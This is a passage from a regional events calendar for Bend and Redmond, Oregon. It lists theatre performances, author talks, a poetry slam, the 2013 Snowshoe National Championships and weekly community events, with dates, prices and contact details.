The Grammy-nominated progressive string-band has built a wide following with its “white-hot musical mind” (L.A. Times). Their song “Dark Days” was featured on the Hunger Games soundtrack. 541-317-0700, www.towertheatre.org.  

November 30
Star Lite Gala at St. Thomas Church
5:30pm benefit for St. Thomas Church
541-923-3390

December 1 MUSIC
A Very Lamb Chop Holiday at Tower Theatre
Puppeteer Shari Lewis’ daughter, Mallory Lewis, brings Charlie Horse, Hush Puppy and Lamb Chop to celebrate the true holiday spirit and “the song that never ends”! Tickets are $8-$25, all general admission and especially for families. 541-317-0700, www.towertheatre.org.

December 1
Crooked River Ranch Olde Fashioned Christmas
Celebration. 541-923-2679.  

December 7
Bend First Friday Artwalk
5-9pm Downtown Bend, Art galleries and merchants open, many with music and art exhibits. www.CascadeAE.com for complete list of new exhibits. 

December 10
Poetry Slam at Astro Lounge
The Slam is a regularly occurring event that happens on the second Monday of every month at the Astro Lounge.
8pm, 7:30 sign up 
$3 suggested donation to pay poets
Poets of all kinds welcome!
loudgirlproductions@live.com

December 17 MUSIC
Moscow Boys Choir at Tower Theatre
An exquisite blend of Christmas standards and Russian folk songs performed by twenty-five heavenly soprano and rich bass and tenor voices. Only Oregon appearance! 541-317-0700, www.towertheatre.org.  

January 6-7
Cirque Ziva at the Tower Theatre
The new family-friendly extravaganza of tumbling, balancing and breathtaking dexterity from the Golden Dragon Acrobats. 541-317-0700, www.towertheatre.org.  

January 10
Author Jennifer Egan at Bend High Auditorium
Pulitzer Prize Winner Jennifer Egan author of Visit from the Goon Squad; The Keep; Look at Me will present 7pm in the Bend High School Auditorium. Subscriptions to the series are now available at www.bendticket.com Tickets to the individual author presentations go on sale August 1. For more information, visit the Deschutes Public Library Foundation website at www.dplfoundation.org If you would like to volunteer to assist with the Author! Author! series, please contact the Library Foundation at: admin@dplfoundation.org  

January 24
Frogtown at Tower Theatre
A multimedia allegory by Portland’s Emmy-winning composer Philip Pelletier uses singers, actors and dancers to teach the values of cultural diversity. Tickets are $8-$25, all general admission and especially for families. 541-317-0700, www.towertheatre.org.  

February 7 MUSIC
Celtic Crossroads at Tower Theatre
You’ve seen their PBS specials. Now experience their lilting vocals, high octane step dancing, jaw dropping instrumentals and gorgeous images of Ireland, live at the Tower. 541-317-0700, www.towertheatre.org.  

March 1
Nazi Hunter – Simon Wiesenthal at Tower Theatre
With warmth and surprising humor, this one-man play written by and starring Tom Dugan chronicles Wiesenthal’s lifelong fight against Holocaust amnesia. It won the 2011 Los Angeles Drama Critics Circle Award for Best Solo Performance. Tickets are $8-$25, all general admission and especially for families. 541-317-0700, www.towertheatre.org.  

March 7
Author Stephen Greenblatt at Bend High Auditorium
Pulitzer Prize Winner Stephen Greenblatt author of The Swerve; Will in the World: How Shakespeare became Shakespeare will present at 7pm at Bend High School Auditorium
Subscriptions to the series are now available at www.bendticket.com Tickets to the individual author presentations go on sale August 1. For more information, visit the Deschutes Public Library Foundation website at www.dplfoundation.org If you would like to volunteer to assist with the Author! Author! series, please contact the Library Foundation at: admin@dplfoundation.org  

March 10 MUSIC
Ladysmith Black Mambazo at Tower Theatre
The three-time Grammy-winning South African group returns to Bend. Since their breakthrough performance on Paul Simon’s Graceland, Ladysmith marries their native rhythms and harmonies with the sound and sentiment of Christian gospel music. 541-317-0700, www.towertheatre.org.

March 15-17
Bend hosts 2013 Snowshoe National Championships
As a result of its abundance of fluffy white stuff and its reputation for hosting top-notch elite sporting events, Bend, Oregon has been selected to host the 2013 Snowshoe National Championships.
Officials with the U.S. Snowshoe Association made the announcement last week. “We’re very pleased to be partnering with the folks at Visit Bend to present our 13th annual Dion Snowshoes U.S. National Snowshoe Championships,” noted Mark Elmore, Director of Sports for the U.S. Snowshoe Association. “The USSSA was very impressed with Bend and the city’s experience hosting national level sporting events. Our last national championship held in the western region was extremely well-attended, so we expect a large and enthusiastic turnout.”
The event is slated for March 15-17, 2013 and will take place at Swampy Lakes Sno-Park. It features six different race events including several “open” events that don’t require qualifying or USSSA membership. “Some of these categories are tailored for newcomers to the sport, so it truly is an inclusive event,” Elmore added.
Categories will include junior boys and girls 5k, senior men and women 10k, and a 5k that will be open to local citizens. There’s also a Kids Kilo event and a
4×2.5km team relay.
According to Visit Bend CEO Doug La Placa, the event is expected to draw 500 competitors, spectators, and support staff to the area. “We’re thrilled to have the opportunity to show winter recreation enthusiasts from around the country why Bend is a top destination for all kinds of snow sports,” La Placa added. “Landing an event of this caliber solidifies Bend’s status as a top destination for elite sporting events.”
In recent years, Bend has been named one of the world’s top 25 ski towns (National Geographic), #1 Town for Sportsmen (Outdoor Life), America’s Top Adventure Town (Men’s Journal), Top 10 Fly Fishing Towns in the U.S. (Fly Fisherman), one of the Best Fishing Towns in America (Field & Stream), best trail running town (Outside) one of the country’s Top Five Ski Towns (Travel + Leisure), and the #1 mountain biking town in the United States (Mountain Bike Action).

April 13
Molly Ringwald at Tower Theatre
The iconic actress (Pretty in Pink, Breakfast Club, Secret Life of the American Teenager) combines her lifelong love of American standards and swingin’ jazz for a revealing night of stories and song. 541-317-0700, www.towertheatre.org.  

April 15
Thomas Edison: Inventor and Prankster at Tower Theatre
One of America’s greatest inventors (portrayed by Broadway actor Patrick Garner) invites children to help recreate his most famous experiments. Tickets are $8-$25, all general admission and especially for families. 541-317-0700, www.towertheatre.org.  

May 2
The Ugly Duckling at Tower Theatre
An adaptation of Hans Christian Andersen’s fable, a homely bird is born deaf, facing abuse from animals who can hear. From Sign Stage on Tour (“Winnie the Pooh,” “Stuart Little”), this one-hour show is signed and spoken simultaneously. Tickets are $8-$25, all general admission and especially for families. 541-317-0700, www.towertheatre.org.  

May 18
Boomer Classic Golf Tournament
Kah-Nee-Ta Resort, www.museumatwarmsprings.org

June 20
Author Erik Larson at Bend High Auditorium
Edgar Award winner Erik Larson author of Devil in the White City; In the Garden of Beasts will present at 7pm at Bend High School Auditorium. Subscriptions to the series are now available at www.bendticket.com Tickets to the individual author presentations go on sale August 1. For more information, visit the Deschutes Public Library Foundation website at www.dplfoundation.org If you would like to volunteer to assist with the Author! Author! series, please contact the Library Foundation at: admin@dplfoundation.org

 
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(Every Thursday)
6:30pm Bow Wow Bingo, 7th Street Brewhouse in Redmond, www.redmondhumane.org/Events_2.html.  

(Every Monday)
6 – 7pm Bumps & Bruises Clinic for local middle and high school athletes, Peak Performance Physical Therapy in Redmond. Free. 541-923-0410.  

(Every Monday)
7 – 8:30pm Guided Meditation with Kathy Nagel, Hawthorn Healing Arts Center, 39 NW Louisiana Ave. $45 monthly or $15 drop in. Register at 541-330-0334.

(Every Tuesday)
7:30pm Flashback Films, 2nd Street Theater, 220 NE Lafayette, Bend OR 97701. $5. 541-390-1695.    


  

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